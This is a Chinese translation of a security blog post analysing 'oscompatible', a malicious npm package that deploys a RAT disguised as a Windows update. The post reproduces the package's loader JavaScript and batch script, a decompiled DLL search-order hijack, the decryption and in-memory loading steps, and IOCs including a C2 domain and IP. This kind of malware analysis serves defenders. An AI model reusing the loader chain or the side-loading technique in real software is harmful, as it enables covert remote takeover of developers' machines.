2024 年 1 月 12 日,Phylum 的自动风险检测平台提醒我们注意 npm 上的可疑出版物。相关软件包oscompatible包含一些奇怪的二进制文件,其中包括一个 exe 文件、一个 DLL 文件和一个加密的 dat 文件。唯一存在的 JavaScript 文件 ,index.js只是执行了一个尝试启动可执行文件的批处理文件。在逆向可执行文件后,我们最终通过一个相对复杂的过程发现了 RAT 的部署,该过程令人信服地伪装成标准的 Microsoft 更新过程。尽管 JavaScript 方面相对简单且简单,但二进制文件中使用的复杂性和欺骗性让人想起最近在更复杂的参与者的操作中观察到的策略。
背景
与我们在 npm 上发现的许多恶意软件相反,该恶意软件不会在软件包安装后执行。在这种情况下,该index.js文件仅导出一个名为 的函数compat。为了真正触发执行链,您需要运行一个require存储索引文件的脚本,然后从中调用compat(),并且您需要在没有管理员权限的情况下执行此操作(稍后会详细介绍)。或者,您可以从节点 REPL 交互地执行相同的操作。这就留下了一些关于攻击者打算如何将恶意软件部署到机器上的问题。没有自述文件,但声称package.json该包可用于“使项目与 chromeOS 兼容”的包描述,无论这意味着什么。也许,他们只是试图欺骗临时用户将此包集成到他们的应用程序中项目?也许他们给出了使用这个软件包的明确指示?无论如何,这不是安装时感染的恶意软件。
攻击链
让我们首先查看该index.js文件,它是包中唯一实际的 JavaScript 文件。
// index.js
const { spawn } = require('child_process');
const path = require('path');
const os = require("os");
module.exports = {
compat: function() {
if (os.platform() === "win32") {
const binaryPath = path.join(__dirname, 'bin', 'autorun.bat');
const child = spawn(binaryPath, []);
child.stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});
child.stderr.on('data', (data) => {
if(data.toString().indexOf("start-process") != -1)
{
console.log( "\x1b[31m%s\x1b[0m", "Can't access Microsoft Edge rendering engine.");
process.exit();
}
});
child.on('close', (code) => {
});
} else if (os.platform() === "linux") {
console.log(
"\x1b[31m%s\x1b[0m",
"This script is running on Linux. Please run on Windows Server OS."
);
} else {
console.log(
"\x1b[31m%s\x1b[0m",
"This script is running on an unrecognized OS. Please run on Windows Server OS."
);
}
}
};
在这里我们可以看到,它首先检查平台是否是Windows,如果是,则简单地执行该autorun.bat文件,如果没有检测到Windows,它会告诉用户它需要专门在“Windows Server OS”上运行。
让我们看一下autorun.bat:
@echo off
pushd %~dp0
:: echo %~dp0
:: Check for administrator privileges
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
:: If the previous command returned with an error, ask for elevated permissions
if %errorlevel% neq 0 (
:: echo Requesting administrative privileges...
:: Prompt for UAC elevation
powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs
exit /b
)
:: The rest of your script goes here with administrator privileges
popd
我们可以在这里看到,该脚本首先检查它是否具有管理员权限,如果没有,则运行cookie_exporter.exe并在运行之前要求权限升级。但是,如果脚本已运行并且已经具有管理员权限,则不会发生任何情况。
这让我们看到了文件cookie_exporter.exe。cookie_exporter.exe是 Microsoft Edge 的真实组件,此处使用其有效的 Authenticode 签名。尝试以管理员身份运行该进程应在 UAC 提示符中显示 Microsoft Edge 希望以管理员身份运行。看起来是这样的。
我们都已经看过一百次这样的消息了。单击“是”将以cookie_exporter.exe管理员权限运行。这就是攻击者使用一种名为“ DLL搜索顺序劫持”的巧妙策略的地方。如果我们还记得之前的内容,我们还有一个msedge.dll在 npm 包中与此 exe 一起提供的同一目录中调用的文件。如果我们查看反编译的exe代码,我们可以发现:
DWORD StartCookieExport(void)
{
HMODULE hModule;
FARPROC pFVar1;
DWORD DVar2;
code *UNRECOVERED_JUMPTABLE;
hModule = LoadLibraryExA("msedge.dll",(HANDLE)0x0,0x1000);
if (hModule == (HMODULE)0x0) {
/* WARNING: Could not recover jumptable at 0x00401035. Too many branches */
/* WARNING: Treating indirect jump as call */
DVar2 = GetLastError();
return DVar2;
}
pFVar1 = GetProcAddress(hModule,"ExportSpartanCookies");
if (pFVar1 != (FARPROC)0x0) {
_guard_check_icall();
/* WARNING: Could not recover jumptable at 0x00401032. Too many branches */
/* WARNING: Treating indirect jump as call */
DVar2 = (*UNRECOVERED_JUMPTABLE)();
return DVar2;
}
return 0x80004001;
}
这里的相关部分是可执行文件用于LoadLibraryExA
加载名为“msedge.dll”的 DLL。具体来说:
hModule = LoadLibraryExA("msedge.dll",(HANDLE)0x0,0x1000);
根据此函数的 MSDN 文档,搜索的目录及其搜索顺序取决于路径和参数dwFlags(提供的第三个参数)。在这里我们可以看到它被设置为0x1000。查看文档,这可以归结为这样一个事实:它将首先在应用程序目录(可执行文件所在的目录)中查找此 DLL。换句话说,它会抓住msedge.dll同一目录中提供的攻击者。
事实证明,这msedge.dll也是 Microsoft Edge 的真实组件,但是,msedge.dll该软件包附带的组件并不是真正的msedge.dll. 它于 2023 年 11 月 6 日使用证书进行签名,该证书于 2023 年 3 月 9 日被吊销。我们已联系我们认为签名密钥源自的公司,但尚未收到回复。目前尚不清楚这些密钥是否是更广泛妥协的结果。值得注意的是,这个DLL还引用了PDB文件D:\Workstation\Brazil_Itau\itau-scammer\Ihor\17.SmartLoader\virusloader\Release\msedge.pdb。
加载后,msedge.dll它会调用名为 的函数ExportSpartanCookies。导出ExportSpartanCookies不会导出Edge cookie。相反,它打开攻击者提供的加密msedge.dat文件,使用 352 字节 XOR 密钥对其进行解密,以生成另一个名为 的 DLL msedgedat.dll,然后执行该文件。值得注意的是,这个 DLL 似乎被加载到内存中并从那里运行它,而没有先写入磁盘。
msedgedat.dll向名为 kdark1[.]com 的域发出一些请求,并下载日期为 2024 年 1 月 13 日的 zip 文件(13012024,DDMMYYYY)。其中有一些代码似乎用于检测文件是否需要更新,表明这可能是正在进行的操作的一部分。
它提取的zip 文件包含:
ud.exe:一个程序,它会接管屏幕并显示假的 Windows 10 更新动画(从updatefaker.com复制,包含在 中resources.neu)。这是Neutralinojs,Electron 的替代品,但它是使用与msedge.dll.
AnyDesk.exe: AnyDesk的副本。
Band64.dll:此 DLL 被注入到资源管理器中,以便可以使用 隐藏桌面SetWindowBand。
RpcTest64.dll:这个 DLL 被注入到 winlogon 中。
verify:使用与 .dll 相同的机制加密的 DLL msedge.dat。
解密后verify.dll是一个RAT。部署后,它会执行以下操作:
注册为计划任务。
使用 Web 套接字从远程服务器接收命令。
将 Chrome 扩展安装到安全首选项。
配置 AnyDesk、隐藏屏幕并禁用关闭 Windows。
捕获键盘和鼠标事件。
收集有关文件、浏览器扩展和浏览器历史记录的信息。
结论
截至发布时,oscompatible这似乎是 npm 上唯一属于此活动的软件包。从节点端触发攻击确实需要一些手动工作,我们目前不确定攻击者在这方面的意图是什么。从二进制方面来看,解密数据、使用吊销的证书进行签名、从远程源提取其他文件以及尝试将自己伪装成标准 Windows 更新过程的过程与我们通常看到的相比相对复杂。 OSS 生态系统。这纯粹是猜测,但该执行链通常可能是由其他方式触发的,例如鱼叉式攻击或类似性质的东西,并且攻击者试图将其重新调整为从节点进程进行部署。无论如何,它再次提醒人们,开源生态系统对于攻击者来说是多么有价值的目标。
国际奥委会
3712af5f9bfbcdbc4fdd6e2831425b39b0eb3aab1c6d61c004fe96d3a57f21f5
d2952e57023848a37fb0f21f0dfb38c9000f610ac2b00c2f128511dfd68bde04
kdark1[.]com
172.64.149.23
参考链接: https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/
图片来源网络目标可联系删除